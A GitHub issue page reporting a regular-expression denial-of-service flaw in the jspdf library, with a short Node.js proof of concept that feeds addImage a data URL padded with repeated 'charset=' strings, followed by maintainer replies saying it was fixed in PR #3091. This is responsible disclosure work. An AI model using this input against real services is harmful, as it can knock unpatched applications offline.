Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ReDoS in jspdf #3090

Closed
yetingli opened this issue Feb 9, 2021 · 3 comments
Closed

ReDoS in jspdf #3090

yetingli opened this issue Feb 9, 2021 · 3 comments

Comments

@yetingli
Copy link
Contributor

yetingli commented Feb 9, 2021

Hi,

I would like to report a Regular Expression Denial of Service (REDoS) vulnerability in jspdf.

It allows cause a denial of service when adding images.

You can execute the code below to reproduce the vulnerability.

const fs = require("fs");
const { jsPDF } = require("jspdf")


function build_blank(n) {
var ret = "data:/"
for (var i = 0; i < n; i++) {
ret += "charset="
}
return ret + "!";
}
 
const doc = new jsPDF();
doc.text("Hello world1111!", 10, 10);

var imageData = "data:image/png;base64,"

var Octocat = fs.readFileSync("psb.png", { encoding: "latin1" });
doc.addImage(build_blank(30) + imageData, "test", 10, 40, 180, 180, undefined, "SLOW");


doc.save("a4ffff.pdf"); // will save the file in the current working directory
console.log("type:" + typeof(doc.addImage))

Best,
Yeting Li

@HackbrettXXX
Copy link
Collaborator

Thanks for the issue report. I think we need to fix this regexp. Could you prepare a PR?

@yetingli
Copy link
Contributor Author

Thanks for the issue report. I think we need to fix this regexp. Could you prepare a PR?

Thank you for your reply, I'd be happy to oblige.

@HackbrettXXX
Copy link
Collaborator

Fixed in #3091.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants